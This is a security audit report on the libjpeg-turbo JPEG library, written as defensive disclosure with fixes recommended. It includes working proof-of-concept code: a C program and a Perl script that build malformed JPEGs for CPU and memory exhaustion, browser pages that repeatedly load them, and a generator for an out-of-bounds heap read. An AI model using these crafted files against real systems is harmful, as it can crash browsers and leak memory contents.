Pentest-Report libjpeg-turbo 11.2015 - 01.2016

Cure53, Dr.-Ing. Mario Heiderich, Jann Horn, Mike Wege, Dario Weißer

Index

Introduction

“libjpeg-turbo is a JPEG image codec that uses SIMD instructions (MMX, SSE2, NEON) to accelerate baseline JPEG compression and decompression on x86, x86-64, and ARM systems. On such systems, libjpeg-turbo is generally 2-4x as fast as libjpeg, all else being equal. On other types of systems, libjpeg-turbo can still outperform libjpeg by a significant amount, by virtue of its highly-optimized Huffman coding routines. In many cases, the performance of libjpeg-turbo rivals that of proprietary high-speed JPEG codecs.

libjpeg-turbo implements both the traditional libjpeg API as well as the less powerful but more straightforward TurboJPEG API. libjpeg-turbo also features colorspace extensions that allow it to compress from/decompress to 32-bit and big-endian pixel buffers (RGBX, XBGR, etc.), as well as a full-featured Java interface.

libjpeg-turbo was originally based on libjpeg/SIMD, an MMX-accelerated derivative of libjpeg v6b developed by Miyasaka Masaru. The TigerVNC and VirtualGL projects made numerous enhancements to the codec in 2009, and in early 2010, libjpeg-turbo spun off into an independent project, with the goal of making high-speed JPEG compression/decompression technology available to a broader range of users and developers”

From http://libjpeg-turbo.virtualgl.org/

This source code audit against the libjpeg-turbo library was carried out by three members of the Cure53 team and one invited external expert. The project was initiated by Open Technology Fund[1] and the Mozilla Foundation[2], pioneering a new open source security grant scheme called SOS.

The audit took an overall of 12 days to complete and yielded a total of three security vulnerabilities and two general weaknesses. One of the issues spotted was classified to be of a “High” severity due to the fact that it might, in certain scenario, considerably aid an attacker seeking to acquire arbitrary code execution. The core problem originated from important information being leaked. The remaining problems discovered during the test were of significantly lower severity, thus warranting an overall good impression about the security situation and robustness of the tested library.

The goal of this source code audit was to get a good coverage of the library parts facing user-controlled code in the common scenarios, such as displaying an image in the browser or similar software. Given the time constraints, the more eccentric usage patterns were not tested, hence no particular evaluation of their state can be issued from this assessment. Further, this assessment did not involve any fuzzing against the library. The only time the library was actually used (rather than just its code being audited) was for the purpose of reproducing the issues already spotted in the code.

Scope

- **libjpeg-turbo Sources**
  - https://github.com/libjpeg-turbo/libjpeg-turbo.git

[1] https://www.opentech.fund/
[2] https://www.mozilla.org/en-US/foundation/

Identified Vulnerabilities

The following sections list both vulnerabilities and implementation issues spotted during the testing period. Note that findings are listed in a chronological order rather than by their degree of severity and impact. The aforementioned severity rank is simply given in brackets following the title heading for each vulnerability. Each vulnerability is additionally given a unique identifier (e.g. *LJT-01-001*) for the purpose of facilitating any future follow-up correspondence.

LJT-01-003 DoS via progressive, arithmetic image decoding *(Medium)*

When the decoder code hits a marker while an arithmetically-encoded scan is decoded, all following requests for more input data by the arithmetic decoder are fulfilled using zero-bytes until the scan is complete. This can be used by an attacker to cause relatively big processing times with the use of small inputs. More specifically, supplying only SOI, DQT, SOF and SOS markers[3] without any image data, the attacker can cause libjpeg-turbo to decode a whole scan with attacker-chosen dimensions (possibly limited by the application). This behavior in itself is not very interesting, however, because the CPU usage is bounded by the dimensions of the frame.

Conversely, a progressive, arithmetically-encoded frame can contain multiple scan segments, with each of them being only 10 bytes long as long as they consist exclusively of the SOS marker. Because libjpeg-turbo permits images to envelop an arbitrary number of frames, this can be used to increase the processing time per image linearly in the file size.

For high CPU usage, it is necessary that *decode_mcu_DC_refine()* is used as *decode_mcu* handler. Otherwise, the other handlers have fastpath handlers for the case that the input is stuffed with zero-bytes. Therefore, *Ah* needs to be non-zero and *Ss* needs to be zero. The following code constructs a JPG file with 8192x8192 dimensions and 8MB in size. This way, it is being saved to the disk and attempts to load via libjpeg-turbo:

```
#include <turbojpeg.h>
#include <stdlib.h>
#include <string.h>
#include <strings.h>
#include <stdio.h>
#include <err.h>

#define KB * 1024

/* max 65500 */
#define DIMENSION "\x20\x00" /* ~8MB RAM? */

/* copied from the source because I don't want to think about what a valid table
has to look like */
static char quanttab[] = {
```

[3] https://en.wikibooks.org/wiki/JPEG_-_Idea_and_Practice/The_header_part

```
  16,  11,  10,  16,  24,  40,  51,  61,
  12,  12,  14,  19,  26,  58,  60,  55,
  14,  13,  16,  24,  40,  57,  69,  56,
  14,  17,  22,  29,  51,  87,  80,  62,
  18,  22,  37,  56,  68, 109, 103,  77,
  24,  35,  55,  64,  81, 104, 113,  92,
  49,  64,  78,  87, 103, 121, 120, 101,
  72,  92,  95,  98, 112, 100, 103,  99
};
static int quanttab_size = sizeof(quanttab);

int main(void) {
  puts("preparing...");
  unsigned char head[] =
    /*SOI*/ "\xFF\xD8"
    /*SOF10*/ "\xFF\xCA\x00\x0B\x08" DIMENSION DIMENSION "\x01\x00\x11\x00"
    /*DQT*/ "\xFF\xDB\x00\x43\x00" /*values in quanttab*/;
  unsigned char sos[] = "\xFF\xDA\x00\x08\x01\x00\x00\x00\x00\x10";
  int headlen = sizeof(head)-1;
  int soslen = sizeof(sos)-1;

  unsigned char img[8000 KB];
  memcpy(img, head, headlen);
  int off = headlen;
  memcpy(img+off, quanttab, quanttab_size);
  off += quanttab_size;
  while (off + soslen <= sizeof(img)) {
    memcpy(img + off, sos, soslen);
    off += soslen;
  }
  /* leave the rest uninitialized, whatever */

  FILE *f = fopen("eofloop_2.jpg", "w");
  if (!f) err(1, "fopen");
  if (fwrite(img, off, 1, f) != 1)
    errx(1, "fwrite");
  if (fclose(f))
    err(1, "fclose");

  puts("reading header...");
  tjhandle h = tjInitDecompress();
  if (h == NULL) return 1;
  int width, height;
  if (tjDecompressHeader(h, img, sizeof(img), &width, &height)) {
    puts(tjGetErrorStr());
    return 2;
  }
  printf("got header: width=%d, height=%d\n", width, height);

  unsigned char *dstBuf = malloc(width * (size_t)height);
  if (!dstBuf) return 3;

  if (tjDecompress2(h, img, sizeof(img), dstBuf, width, /*pitch*/width, height,
TJPF_GRAY, 0)) {
    puts(tjGetErrorStr());
```

```
    return 4;
  }
  printf("decompression done\n");

  tjDestroy(h);
  return 0;
}
```

This case is detected and reported with the use of a *JWRN_BOGUS_PROGRESSION* warning. Evidently, the library does not treat it as an error by default and fully decodes every scan, causing *tjDecompress2()* to run for 6 hours (tested on an Intel i7 processor). It is recommended to either abort bogus progression or, if error tolerance is desired here, skip the decoding of bogus scans that do not supply additional information.

LJT-01-004 DoS via small Image with large Dimensions *(Medium)*

When a jpeg file does not provide enough data, the buffer is filled with zero bits (function *jpeg_fill_bit_buffer()* in *jdhuff.c*). A probable goal of this behavior is to make the display of incomplete/corrupted images possible. An attacker can exploit this to cause a memory exhaustion on the system. This leads to a OOM kill[4] of the application responsible for opening the malicious image. It is possible to create a 102-byte file expandable to 760884499 bytes of data. (Note that a use of higher dimensions has even led to 12GB result, though the file was ignored by relevant applications). By including the image several times in a website, it was possible to get Firefox closed by the Linux OOM killer. Similarly, the Xorg-Server[5] was killed during the tests. All in all, this case leads to any window application being closed, thus signifying a possibility of data loss with regard to unsaved data.

The following perl script generates a file with the dimensions of *0x4040 * 0x3c3c* pixels. No image data is provided, which makes it possible to cause a high memory usage without providing much data.

```
#!/usr/bin/perl
$data = "\xff\xd8"; # RST0

$width = pack("v", 0x4040);
$height = pack("v", 0x3c3c);

$data .= "\xff\xdb\x00\x43\x00" . "A"x64; # DQT
$data .= "\xff\xc0\x00\x11\x08" . $width  . $height .
"\x03\x00\x22\x00\x01\x22\x01\x02\x22\x00"; # SOF0
$data .= "\xff\xda\x00\x08\x01\x00\x00\x00\x3f\x00"; # SOS
$data .= "\xff\xd9"; #EOI

print $data;
```

[4] https://en.wikipedia.org/wiki/Out_of_memory
[5] https://en.wikipedia.org/wiki/X.Org_Server

The decoder throws a *JWRN_HIT_MARKER* warning (`Corrupt JPEG data: premature end of data segment`) but continues decoding the file. It uses zero bits leading to a high memory exhaustion, which generally depends on the given dimensions.

Test1: Display the image several times on a web page:

```
for($i=0; $i<40; $i++)
{
	echo '<img width="100px" height="100px" src="oom.jpg?'.$i.'">;
}
```

Test2: Keep refreshing the page with only a few images:

```
<html>
	<head>
	</head>
	<body>
		<script>
			setInterval(function(){  location.reload();  }, 200);
		</script>
		<img src="oom.jpg">
		<img src="oom.jpg">
		<img src="oom.jpg">
	</body>
</html>
```

This issue was reproduced on an up-to-date ArchLinux[6], running on both a Laptop with 8GB memory, and a PC with 32GB memory. Further tests succeeded to verify the vulnerability on Ubuntu 14.04, Android/Chrome and ios/Safari. Exploitation (i.e. crashing the browser) was found to be more difficult with swap space enabled.

Its is recommended to treat the *JWRN_HIT_MARKER* warning as an error and abort the decompression in case that too much data is missing in relation to the image dimensions specified.

LJT-01-005 Out-of-Bounds Read via unusually long Blocks in MCU *(High)*

A performance optimization for simple and common cases entails that *decode_mcu()* calls *decode_mcu_fast()* to decode a single MCU. A greater speed of the latter function is attributed to the fact that it makes some assumptions that the slower decoding function is not allowed to make. One of these assumptions is that enough data is available in the input buffer, so *decode_mcu_fast()* does not perform bounds' checks when reading from the input buffer (via *GET_BYTE*). Instead, *decode_mcu()* is responsible for ensuring that the input buffer is big enough for the worst case scenario. However, the problem is that the estimate does not actually cover the worst case possibility. In specifics, the *decode_mcu()* assumes a maximum of 128 bytes per block while, actually, blocks with around 438 bytes in length can be crafted. (Note that these

[6] https://www.archlinux.org/

438 bytes are not a proper worst-case estimate but rather just the length that the PoC below generates.)

The following program generates the necessary file:

```
#include <stdlib.h>
#include <string.h>
#include <strings.h>
#include <stdio.h>
#include <err.h>
#include <assert.h>

#define DIMENSION "\x00\x08"

int main(void) {
  puts("preparing...");

  unsigned char head[] =

    /*SOI*/ "\xFF\xD8"

    /*SOF0*/ "\xFF\xC0\x00\x0B\x08" DIMENSION DIMENSION "\x01\x00\x11\x00"

    /*DHT*/ "\xFF\xC4\x00\x44\x00" /*huffman table, index=0 (DC table 0) */
        /* valid codes in the huffman tree: 0b0, 0b10, 0b110, 0b1110, ...,
         * 0b1111111111111110 (can't use all-ones codes, that's forbidden)*/
        "\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
        /* values corresponding to those codes;
         * 0b1111111111111110 (0xFFFE) encodes 0x0F, which is the value we
         * want, so the encoding is very long */
        "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A\x0B\x0C\x0D\x0E\x0F"

        "\x10" /*huffman table, index=0x10 (AC table 0) */
        /* valid codes in the huffman tree: 0b0, 0b10, 0b110, 0b1110, ...,
         * 0b1111111111111110 (can't use all-ones codes, that's forbidden)*/
        "\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
        /* values corresponding to those codes;
         * 0b1111111111111110 (0xFFFE) encodes 0x0F, which is the value we
         * want, so the encoding is very long */
        "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A\x0B\x0C\x0D\x0E\x0F"

    /*DQT*/ "\xFF\xDB\x00\x43\x00"
        /* quanttable values grabbed from the library sourcecode */
        "\x10\x0b\x0a\x10\x18\x28\x33\x3d\x0c\x0c\x0e\x13\x1a\x3a\x3c\x37"
        "\x0e\x0d\x10\x18\x28\x39\x45\x38\x0e\x11\x16\x1d\x33\x57\x50\x3e"
        "\x12\x16\x25\x38\x44\x6d\x67\x4d\x18\x23\x37\x40\x51\x68\x71\x5c"
        "\x31\x40\x4e\x57\x67\x79\x78\x65\x48\x5c\x5f\x62\x70\x64\x67\x63"
    /*SOS*/"\xFF\xDA\x00\x08\x01\x00\x00\x00\x3f\x00";
  int headlen = sizeof(head)-1;

  unsigned char img[headlen + 128];
  memcpy(img, head, headlen);
  int off = headlen;
```

```
  /* After the header, we need 128 bytes of this pattern repeated:
   *
   * 0xFFFE (encoded 0xF, parsed by the first HUFF_DECODE_FAST or the one in the
loop)
   * 0b111111111111111 (15*'1')
   *
   * When 0xFF occurs as a byte, we have to replace it with 0xFF00.
   *
   * Our goal is that the whole thing is 65 repetitions or less, which
   * should be well within reach if I calculated right.
   */
  unsigned char scratchbuf[1024] = {0}; /* whatever */
  int bytepos = 0;
  int bits_written = 0;
  #define ADDBIT(x) do {\
    scratchbuf[bytepos] = (scratchbuf[bytepos] << 1) | (x); \
    if (++bits_written == 8) { bits_written = 0; bytepos++; } \
  } while (0)

  for (int i=0; i<65; i++) {
    /* 0xFFFE */
    for (int j=0; j<15; j++) ADDBIT(1);
    ADDBIT(0);
    /* 0b111111111111111 */
    for (int j=0; j<15; j++) ADDBIT(1);
  }
  int full_len_rawFF = bytepos+(bits_written?1:0);
  printf("full MCU length without encoded 0xFF would be %d\n", full_len_rawFF);

  unsigned char scratchbuf2[1024];
  int scratchbuf2_len = 0;
  for (int i=0; i<full_len_rawFF; i++) {
    scratchbuf2[scratchbuf2_len++] = scratchbuf[i];
    if (scratchbuf[i] == 0xFF)
      scratchbuf2[scratchbuf2_len++] = 0x00;
  }
  printf("full MCU length with encoded 0xFF would be %d\n", scratchbuf2_len);
  assert(scratchbuf2_len >= 128);

  memcpy(img+off, scratchbuf2, 128);
  off += 128;

  FILE *f = fopen("oob_read.jpg", "w");
  if (!f) err(1, "fopen");
  if (fwrite(img, off, 1, f) != 1)
    errx(1, "fwrite");
  if (fclose(f))
    err(1, "fclose");

  return 0;
}
```

Running *djpeg* under *valgrind* on the resulting files yields the following output:

```
==6956== Memcheck, a memory error detector
==6956== Copyright (C) 2002-2013, and GNU GPL'd, by Julian Seward et al.
==6956== Using Valgrind-3.10.0 and LibVEX; rerun with -h for copyright info
==6956== Command: [...]/build/.libs/lt-djpeg ./oob_read.jpg
==6956==
P5
8 8
255
==6956== Conditional jump or move depends on uninitialised value(s)
==6956==    at 0x4E62999: decode_mcu_fast (jdhuff.c:696)
==6956==    by 0x4E63289: decode_mcu (jdhuff.c:779)
==6956==    by 0x4E5928B: decompress_onepass (jdcoefct.c:104)
==6956==    by 0x4E6459B: process_data_simple_main (jdmainct.c:297)
==6956==    by 0x4E57DCF: jpeg_read_scanlines (jdapistd.c:177)
==6956==    by 0x4029E5: main (djpeg.c:714)
==6956==
==6956== Conditional jump or move depends on uninitialised value(s)
==6956==    at 0x4E629EB: decode_mcu_fast (jdhuff.c:696)
==6956==    by 0x4E63289: decode_mcu (jdhuff.c:779)
==6956==    by 0x4E5928B: decompress_onepass (jdcoefct.c:104)
==6956==    by 0x4E6459B: process_data_simple_main (jdmainct.c:297)
==6956==    by 0x4E57DCF: jpeg_read_scanlines (jdapistd.c:177)
==6956==    by 0x4029E5: main (djpeg.c:714)
==6956==
==6956== Conditional jump or move depends on uninitialised value(s)
==6956==    at 0x4E62A47: decode_mcu_fast (jdhuff.c:696)
==6956==    by 0x4E63289: decode_mcu (jdhuff.c:779)
==6956==    by 0x4E5928B: decompress_onepass (jdcoefct.c:104)
==6956==    by 0x4E6459B: process_data_simple_main (jdmainct.c:297)
==6956==    by 0x4E57DCF: jpeg_read_scanlines (jdapistd.c:177)
==6956==    by 0x4029E5: main (djpeg.c:714)
[...]
```

At the end of the *decode_mcu_fast()*, the *bytes_in_buffer* variable is fixed up to account for the read-bytes:

```
br_state.bytes_in_buffer -= (buffer - br_state.next_input_byte);
```

Because *br_state.next_input_byte* is out of bounds at this point, *buffer* - *br_state.next_input_byte* is larger than *br_state.bytes_in_buffer*. As a consequence, the -= operation causes *bytes_in_buffer* (which is of type *size_t*) to wrap around to a very large value. In turn the following image-decoding steps can effectively continue without input buffer bounds' checks until either an error occurs or the EOI marker is reached.

In theory, it is possible that the image decompression terminates without any warnings at all and produces an output image that contains information about heap data. To verify that this can cause out-of-bounds memory to have an effect on the output image, the following, slightly different JFIF file (bigger in size and without trailing 0xFF) was used:

```
$ hexdump -C oob_read.jpg
00000000  ff d8 ff c0 00 0b 08 00  ff 00 ff 01 00 11 00 ff  |................|
00000010  c4 00 44 00 01 01 01 01  01 01 01 01 01 01 01 01  |..D.............|
00000020  01 01 01 01 00 01 02 03  04 05 06 07 08 09 0a 0b  |................|
00000030  0c 0d 0e 0f 10 01 01 01  01 01 01 01 01 01 01 01  |................|
00000040  01 01 01 01 01 00 01 02  03 04 05 06 07 08 09 0a  |................|
00000050  0b 0c 0d 0e 0f ff db 00  43 00 10 0b 0a 10 18 28  |........C......(|
00000060  33 3d 0c 0c 0e 13 1a 3a  3c 37 0e 0d 10 18 28 39  |3=.....:<7....(9|
00000070  45 38 0e 11 16 1d 33 57  50 3e 12 16 25 38 44 6d  |E8....3WP>..%8Dm|
00000080  67 4d 18 23 37 40 51 68  71 5c 31 40 4e 57 67 79  |gM.#7@Qhq\1@NWgy|
00000090  78 65 48 5c 5f 62 70 64  67 63 ff da 00 08 01 00  |xeH\_bpdgc......|
000000a0  00 00 3f 00 ff 00 fe ff  00 ff 00 ff 00 fd ff 00  |..?.............|
000000b0  ff 00 ff 00 fb ff 00 ff  00 ff 00 f7 ff 00 ff 00  |................|
000000c0  ff 00 ef ff 00 ff 00 ff  00 df ff 00 ff 00 ff 00  |................|
000000d0  bf ff 00 ff 00 ff 00 7f  ff 00 ff 00 fe ff 00 ff  |................|
000000e0  00 ff 00 fd ff 00 ff 00  ff 00 fb ff 00 ff 00 ff  |................|
000000f0  00 f7 ff 00 ff 00 ff 00  ef ff 00 ff 00 ff 00 df  |................|
00000100  ff 00 ff 00 ff 00 bf ff  00 ff 00 ff 00 7f ff 00  |................|
00000110  ff 00 fe ff 00 ff 00 ff  00 fd ff 00 ff 00 ff 00  |................|
00000120  fb ff 00 00                                       |....|
```

Then, a process of randomization of the memory behind the input buffer was added to *djpeg.c*:

```
--- ../../libjpeg-turbo/djpeg.c  2016-01-15 16:23:51.991999650 +0100
+++ ../djpeg.c      2016-01-22 22:43:31.576370486 +0100
@@ -90,11 +90,11 @@
 static const char * progname;   /* program name for error messages */
 static char * outfilename;      /* for -outfile switch */
 boolean memsrc;  /* for -memsrc switch */
 boolean strip, skip;
 JDIMENSION startY, endY;
-#define INPUT_BUF_SIZE  4096
+#define INPUT_BUF_SIZE 10


 LOCAL(void)
 usage (void)
 /* complain about bad command line */
@@ -587,15 +587,24 @@
   /* Specify data source for decompression */
 #if JPEG_LIB_VERSION >= 80 || defined(MEM_SRCDST_SUPPORTED)
   if (memsrc) {
     size_t nbytes;
     do {
-      inbuffer = (unsigned char *)realloc(inbuffer, insize + INPUT_BUF_SIZE);
+      int iii;
+      inbuffer = (unsigned char *)realloc(inbuffer, insize + INPUT_BUF_SIZE +
1000);
       if (inbuffer == NULL) {
         fprintf(stderr, "%s: memory allocation failure\n", progname);
         exit(EXIT_FAILURE);
       }
```

```
+
+       #include <time.h>
+       srand(time(NULL));
+       for (iii=0; iii<998; iii++)
+         inbuffer[insize + INPUT_BUF_SIZE + iii] = random() & 0x7f;
+       inbuffer[insize + INPUT_BUF_SIZE + 998] = 0xff;
+       inbuffer[insize + INPUT_BUF_SIZE + 999] = 0xd9;
+
        nbytes = JFREAD(input_file, &inbuffer[insize], INPUT_BUF_SIZE);
        if (nbytes < INPUT_BUF_SIZE && ferror(input_file)) {
          if (file_index < argc)
            fprintf(stderr, "%s: can't read from %s\n", progname,
                    argv[file_index]);
```

With this modified version of the *djpeg*, a decompression of the same JFIF file performed twice resulted in the following two images:

Fig.: Visual result of decoding the same image twice

Because of the choice of Huffman tables, these images do not reveal much information. Modifying both Huffman tables to interpret almost all input as the highest-possible values would probably change the outcome.

One thing to be kept in mind with regard to exploitation is that if the first MCU with out-of-bounds data contains a marker, the *decode_mcu_fast()* punts and allows for the *decode_mcu_slow()* to retry without storing the wrapped-around *bytes_in_buffer* value. Therefore, for a successful exploitation, the attacker has to ensure that the first MCU is fully decoded before the first stray 0xFF occurs behind the buffer.

Because JavaScript gives a relatively large degree of control, this might issue be exploitable in a web browser. There it could lead to leaking the site's contents cross-origin, though this was not investigated further under the current assignment's scope and timeline.

Miscellaneous Issues

This section covers those noteworthy findings that did not lead to an exploit but might aid an attacker in achieving their malicious goals in the future. Most of these results are vulnerable code snippets that did not provide an easy way to be called. Conclusively, while a vulnerability is present, an exploit might not always be possible.

LJT-01-001 Wraparound in round_up_pow2() (*Low*)

The function *round_up_pow2(a, b)* rounds “a” up to the next multiple of “b”. Therefore, if “a > *SIZE_MAX* + 1 - b”, then “a” will be rounded up to SIZE_MAX+1, which wraps around to zero. If such a size is supplied, *alloc_large()* will allocate memory with zero bytes space for the payload and *alloc_sarray()* will perform a division by zero.

While there seems to be no codepath that hits this particular problem, it is recommended to either throw an error in this edge case, or, alternatively, to document it in comments above the affected methods.

LJT-01-002 Dangling pointer used as placeholder *(Low)*

The function *tjInitDecompress()* calls *_tjInitDecompress(),* which in turn allocates *buffer* on the stack. It then sets *this->dinfo.src->next_input_byte=buffer* via *jpeg_mem_-src_tj()*, and afterwards, *_tjInitDecompress()* returns. As a result, *this->dinfo.src->next_input_byte* becomes a dangling pointer immediately. While the pointer is never dereferenced, it is a general good practice to avoid unnecessary use of dangling pointers.

If it is necessary to use an actually never used placeholder pointer in this instance, then it is recommended to either use a pointer that can never be dereferenced on the current architecture, or a pointer to a static buffer instead.

Conclusion

This report presents a source code audit against the libjpeg-turbo image processing library. More specifically, the document describes the results and findings, which consist of five items, three considered to constitute security vulnerabilities, and two marked as general weaknesses. Only one of the spotted vulnerabilities was flagged to be of high severity as it might aid an attacker in executing arbitrary code on an affected system by means of leaking important information.

The scope for this audit essentially included the entire library source code. Note that the objective was to audit as much of the critical source code as possible, focusing on doing so from the browser perspective and keeping with the given timeframe. All command line tools, test programs and example code were considered out-of-scope, and so are the pure compression paths of the library proper along with the Java wrapper. The parts dealing with non-JPEG image formats and JFIF extensions, such as BMP, GIF, PPM/PGM, RLE, TARGA and JFIF-COM were ignored. In addition, the focus on assembly code is on both 32/64bit Intel (standard instructions, MMX, 3DNow!, SSE and SSE2) and 32/64bit ARM (standard instructions and NEON) architectures. The less frequently used PowerPC (AltiVec VMX) and MIPS (DSP r2) were omitted due to the aforementioned time constraints.

To conclude, the test discussed in this report yielded five findings with only one deemed to be of high criticality. This marks an outstanding result for a library of a decent complexity. It needs to be noted, however, that the libjpeg-turbo has already received significant scrutiny from the security community through fuzzing and other code audits.

Cure53 would like to thank Gervase Markham and Chris Riley of Mozilla as well as Chad Hurley of OTF for their excellent project coordination, support and assistance, both before and during this assignment.